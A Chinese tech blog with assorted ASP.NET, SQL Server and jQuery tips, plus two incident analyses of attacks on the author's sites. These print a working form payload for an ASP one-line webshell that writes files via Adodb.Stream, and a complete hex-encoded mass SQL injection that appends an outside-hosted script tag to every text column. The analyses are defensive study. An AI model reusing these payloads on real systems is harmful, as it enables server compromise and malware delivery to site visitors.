關於我

我的相片
用心思考、保持熱情,把工作上的經驗作分享與紀錄。希望能夠跟大家一起不斷的成長~

IE8 設定 mailto 連結使用編碼方式 ( UTF-8 or Big5 )

如您於瀏覽器點選E-mail連結後,發生Outlook帶出之預設E-mail資訊為亂碼。可參考下方步驟調整瀏覽器之設定。

1.開啟IE瀏覽器,點選[工具]→[網際網路選項]。

未命名-1

2.取消勾選 [在mailto連結使用UTF-8] 設定。

s2

此設定適用於各瀏覽器發生此問題時之問題排解,均可至IE8瀏覽器,參考上方步驟做設定,以排除此問題。

目前測試IE、Firefox、Chrome等瀏覽器,均可適用此設定。

設定資訊如上~~

關閉微軟系統嗶嗶聲(Turn off Windows system Beep Sound )

有時在使用虛擬機器時,系統一直發出Beep聲,很煩人,也會打擾到其他同事XD。
這邊把停用Beep Service的方法寫下來:

如果要關閉Beep Service,開啟Command視窗,輸入以下指令:

net stop beep

如果要開啟Beep Service,開啟Command視窗,輸入以下指令:

net start beep

但注意,系統重啟後,此Service還是會跟著重新開啟喔!!

如何將MVC 2.0專案掛載於SharePoint(WSS)網站虛擬目錄下

如果在WSS環境下,希望可以在WSS網站虛擬目錄下直接掛載MVC專案。當使用VS2010 MVC2.0開啟MVC專案,並指定Web使用指向WSS下的虛擬目錄作為Web環境,這時會發現執行此MVC專案,會發生找不到路徑的錯誤。如下圖:
擷取1 

這是因為在.Net4.0中,已將UrlRoutingModule加入,Framework預設的Config中,如下圖:
擷取2 

所以在VS2010中,新建立的MVC 2.0 專案Web.config中,預設是不會有UrlRoutingModule的定義的,因為一般繼承Framework中的config設定,應該就可以正確運作了。

但SharePoint環境中,在HttpModule的宣告時,有特別把Framework的預設config部分Clear。因此掛在SharePoint網站下虛擬目錄之MVC專案,便無法正確被解讀了。如下圖參考:
擷取
知道原因後,這裡有兩個方式可以解決此問題:

  1. 把SharePoint的Web.cofig中,HttpModule區塊中的<Clear />拿掉。
  2. 在新的MVC專案中重新宣告UrlRoutingModule的定義。

我這裡選用第二種方式來解決我的問題。畢竟不瞭解為什麼SharePoint要清除上層的HttpModule設定,因此我想還是保留SharePoint預設值較佳,因此我在MVC專案的Web.config中加入如下區段:
擷取3
目前看起來MVC便可以正確運作了!

擷取5 
將這次問題經驗註記下來,分享給大家!

MSSQL 清除 Cache 與 Buffers

資料庫測試Query執行時間等數據時。 要特別注意Cache與Buffers的影響,因此在每個Query測試前,須注意先將Cache與Buffers清除。以確保執行不受Cache與Buffers影響。執行Query如下:

DBCC FREEPROCCACHE;
DBCC DROPCLEANBUFFERS;
GO

每次要用都忘記,趕快寫下來XD

control contains code blocks (i.e. <% ... %>).

今天在幫一個網頁加上AjaxControlToolKit的 CalendarExtender 時,很離奇的發生了如標題錯誤,完整的錯誤Message如下:
The Controls collection cannot be modified because the control contains code blocks (i.e. <% ... %>). 
1
之前在使用AjaxControlToolKit,從沒遇過這奇怪的訊息。深怕是自己哪個小細節錯了,直接在VS2008 & VS2010 開了新專案測試,但怎麼測試都是可以正確執行,唯獨此專案會發生此錯誤,怎麼想都想不通。

查了很久,決定將頁面中所有In-line Tag <% %>相關的部分,一個一個註解掉,測試到底是什麼原因發生錯誤。

最後發現,原來是MasterPage中,Header部分,如下程式碼在作怪:

<script src="<%= ResolveUrl("~/Scripts/jquery-1.4.1.min.js") %>" type="text/javascript"></script>

將上方引用JQuery部分,修改為不使用ResolveUrl方式產生路徑,改直接固定寫死即可避免此錯誤了。

<script src="/Scripts/jquery-1.4.1.min.js" type="text/javascript"></script>

會用上方寫法,是因為怕每個ContentPage的路徑各不相同,因此習慣在這種寫死路徑的地方,都在用ResolveUrl包起來,由Server自動產生正確路徑,避免抓不到,或參考不到的問題,很多如MasterPage用到的圖片...等,都會使用這樣的寫法。

結果經測試,只要MasterPage的Header中,含有<%= %>的In-line Tag,在有用到AjaxControlToolKit的ContentPage都會發生如標題之錯誤!而MasterPage的Body中,使用<%= %>的In-line Tag,則運作良好。

為什麼會有這樣的情況,其實還不太了解,想不通。但下次就必須注意MasterPage的Header中,要避免包含 In-line Tags了!!

PS. 我不太確定是否稱為In-line Tags,我指的In-line Tags,是指,<% %>、<%= %>、<%# %>、<%$ %>、<%# %> … 等標籤。 In-line Tags 可參考此篇文章,inline asp.net tags

Html 5 在各瀏覽器的支援程度

http://www.findmebyip.com/litmus#target-selector
Html 5 在各瀏覽器的支援程度!!
實用的參考!

看到各家瀏覽器對HTML5的支援都已如此了。
但微軟的IE卻…?! (雖然聽說在IE9便會加入支援的行列!)

但這樣的策略模式,
我有點再思考未來的網頁設計之路了!

Flash 、Sliverlight、HTML5

大家很常拿 Flash 與 HTML5 來做比較。
1. 現在的Flash已是大家在Web上,最廣泛被應用的了。
2. 而Html5目前的支援度,算是最常被大家拿來探討的!  ( 雖然各瀏覽器已逐漸支援了! )

但微軟呢?!
1. 現在的微軟高調的開發SliverLight。
2. IE目前各版本 ( IE6 ~ IE8 ) 對Html5的支援度極極低。
3. 由開發者角度來看,目前的ASP.NET開發環境,也都還無支援HTML5,而隨著VS2010的上市,
    現在已在全力推廣 SliverLight。

那這樣的情況,HTML5到底是不是明日之星呢?!
看起來,我覺得似乎困難重重!

繼續持續觀察吧~~

PS.不過說真的,HTML5還是滿有趣的,分享一個不賴的Html5資訊吧~ http://slides.html5rocks.com/#slide1~ ^_^

JQuery Selector 使用實例分享

擷取
今天有個需求,功能如上圖,可讓User任意勾選所需項目,且後方可輸入所需數量。
額外希望可達到的功能需求如下:

  1. 項目未勾選時,後方為不可輸入狀態,且預設值為0。
  2. 項目勾選後,後方即改變狀態為可輸入,且數量預設為1。
  3. 數量欄位只可輸入數字。
  4. 如項目已被勾選,則數量不可為0。
  5. 如項目已被勾選,則需求欄位不可為空。

上方輸入表單,使用ListView實作,實際aspx頁面如下:

<table id='ItemsTable'>  
  <asp:ListView ID="ListView2" runat="server">  
    <ItemTemplate>  
      <tr>  
        <td valign="top">  
          <asp:CheckBox ID="cbitem" runat="server" Text='<%# Eval("ItemName") %>' />  
          <asp:Label ID="Label4" runat="server" Text="( 需求數量:" Visible='<%# Eval("NeedQty") %>' />  
          <asp:TextBox ID="tbQty" runat="server" Width="30px" Visible='<%# Eval("NeedQty") %>'  
            Text="0" Enabled="false" MaxLength="5" JQ="tbQty" />  
          <asp:Label ID="Label5" runat="server" Text=" )" Visible='<%# Eval("NeedQty") %>' />  
        </td>  
      </tr>  
    </ItemTemplate>  
  </asp:ListView>  
</table>

下方為Jquery實作部分,將此段Script,置於Header中即可。

<% if (false)  
    { %>  
<script src="../Script/jquery-1.4.1-vsdoc.js" type="text/javascript"></script>  
<% } %>  
<script type="text/javascript">  
  $(document).ready(function () {  
    //CheckBox互動,以Table的ID=ItemTable,找這個Table裡的checkbox (input type=checkbox)  
    $('#ItemsTable :checkbox').change(function () {  
      //取得被點選CheckBox的ClientID.  
      var ckid = $(this).attr('id');  
      //找到被點選的CheckBox後的第一個Type=text的ClientID.  
      var tbid = $('#' + ckid + ' ~ :text').first().attr('id');  
      if ($('#' + tbid).length == 1) {  //如果有正確取到TextBox(因這個TextBox為動態顯示)  
        //取得是否被勾選  
        var cked = $(this).attr('checked');  
        if (cked) {  
          $('#' + tbid).val('1');  //被勾選,將TextBox值改為,數量1  
          $('#' + tbid).attr('disabled', ''); //設定是否可更改  
        } else {  
          $('#' + tbid).val('0');  //被取消勾選,將TextBox值改為,數量0  
          $('#' + tbid).attr('disabled', 'disabled'); //設定是否可更改  
        }  
      }  
    });
  
    //TextBox檢核互動,以Table的ID=ItemTable,找這個Table裡的textbox (input type=textbox)  
    $('#ItemsTable :text').keyup(function () {  
      //檢查是否含非數字字元  
      if (isNaN($(this).val())) {  
        alert('只可輸入數字字元!');  
        this.value = this.value.replace(/[\D]/g, '');  
      }  
      //檢查是否只輸入0  
      if ($(this).val() == '0') {  
        alert('至少要有數量1!');  
        this.value = '1';  
      }  
    }).focusout(function () {  
      //檢查是否未輸入數量  
      if ($(this).val() == '') {  
        alert('至少要有數量1!');  
        this.value = '1';  
      }  
    });  
  });    
</script>

分享給大家。

一句話木馬原理分析

今天發現有網站asp程式,被植入了一段VBScript.111
便趕緊上網查了一下。
下面為了解後的資訊,註記下來:

  1. 先了解上方是已先被植入到Server端asp程式內的木馬,怎麼被植入的我就不知道了,只是這個木馬,便提供給駭客一個後門。
    駭客便可利用此木馬,入侵做些不合法的事了,不過這段是一句話木馬的變形加強版,主要是此段script,在平時,完全不會對網站造成傷害,且瀏覽此頁asp的使用者,不會有異狀發生,且連直接在client看此網頁原始碼,也都不會發現此段木馬的蹤跡。
  2. 接下來要分析,駭客可以利用此木馬當作入口,做些什麼呢?!
    簡單來說,利用此木馬,即可執行其中名稱為chr(35)的html tag區域,chr(35)是#字號,這網頁中,沒有任何name=#的Tag,所以平時不會作用,但當有人Post給此網頁的資訊中,含有name=#的Tag,則此Tag中的資訊將被Execute!!
  3. 如上點說明,Google到一個典型的範例,利用Asp直接操作Server端的Adodb.Stream物件,利用此物件在Server端再植入其他程式、或任何您想植入的東西@@。
    範例如下:
    <form action=http://XXX/xxx.asp method=post>   
    <textarea name=# cols=120 rows=10 width=45>     
    set iP=server.createObject("Adodb.Stream")   
    iP.Open   
    iP.Type=2   
    iP.CharSet="big5"   
    iP.writetext request("aoyun")   
    iP.SaveToFile server.mappath("xxx.html"),2   
    iP.Close   
    set iP=nothing   
    response.redirect "xxx.html"   
    </textarea>  
    <textarea name=aoyun cols=120 rows=10 width=45>     
    哈哈哈     
    </textarea>     
    <input type=submit value=提交>     
    </form> 

    利用name=#部分的內容,讓Server端包含一句話木馬的網頁執行,寫入內容為name=aoyun部分的新網頁xxx.html。利用這樣的方式即可將欲寫入的資料寫到Server端,接下來可造成的傷害有多大,就可想而知了!!!實際執行的Client植入網頁如下圖:image
  4. 上方操作,實際測試,有兩點要注意,Adodb.Stream元件是否可使用,再來就是權限問題了,必須要有寫入權限,才可能可以成功植入。
  5. 因次網頁伺服器上的權限是相當重要的啊!!!千萬不可以大意!!

Sql injection + XSS 實際攻擊手法分析

今維護的網站,發生Exception錯誤訊息,Exception中QueryString部分,看起來十分奇怪。
不太對勁,分析後發現確實為被攻擊的現象。

簡單來說,攻擊手法是使用打游擊的方式到處測試網頁是否有 SQL injection 的漏洞,有的話,便將資料庫字串欄位附加上 <script>xss script</script> 的XSS攻擊指令,以便顯示在網頁時攻擊使用者電腦,是標準的 SQL Injection + Persisted XSS 攻擊。
而script部分,則利用iframe方式,讓網頁被打開時,javascript自動連結此不合法scipt中的iframe,而被連結之網址,便可透過觀測該網站的流量,與來訪紀錄,得知被攻擊成功的主機資訊,或是整體攻擊情況。

發現異常的QueryString:
OID=287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D07359734……………B2D2D%20eXeC(@s)--

以下為攻擊手法分析:

1. 將QueryString做URLDecode,轉回正常字串。

string querystr = @"287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--";

string decode = HttpUtility.UrlDecode(querystr);

Console.WriteLine(decode);

//Decode結果如下

//"287;dEcLaRe @s vArChAr(8000) sEt @s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D eXeC(@s)--"

2. 發現上方Decode結果是個Tsql Query,主要執行@s = 0x6445634C61526…部分,因此繼續將此binary拿至sql2005解析。

3. 於SQL2005將binary query 轉回string query,解讀攻擊資訊。

--將被送入的binary query轉回string
print convert(varchar(max),0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D, 2)

--轉回的正常string,發現是一段store procedure,主要目的是更新被攻擊資料庫的data

dEcLaRe @t vArChAr(255),@c vArChAr(255)

dEcLaRe tAbLe_cursoR 

cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)

oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c 

while(@@fEtCh_status=0)

bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%22dnf%''')

fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd

cLoSe tAbLe_cursoR 

dEAlLoCaTe tAbLe_cursoR;-

--其中更新內容,也轉回string,內容為<script src=hccp://xxx.xxx/ff/y.js></script>,為避免誤點,網只是亂打的!

print convert(varchar(max),0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E, 2)

--最後將我門資料更新的結果,Our Data<script src=hccp://xxx.xxx/ff/y.js></script>

select rtrim(convert(varchar(8000),'Our Data'))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) --用以上方式,搭配sql injection , 達到XSS攻擊!

以上如被攻擊成功,被攻擊網站即已被植入不法Script,可能繼續對瀏覽網站使用者造成傷害。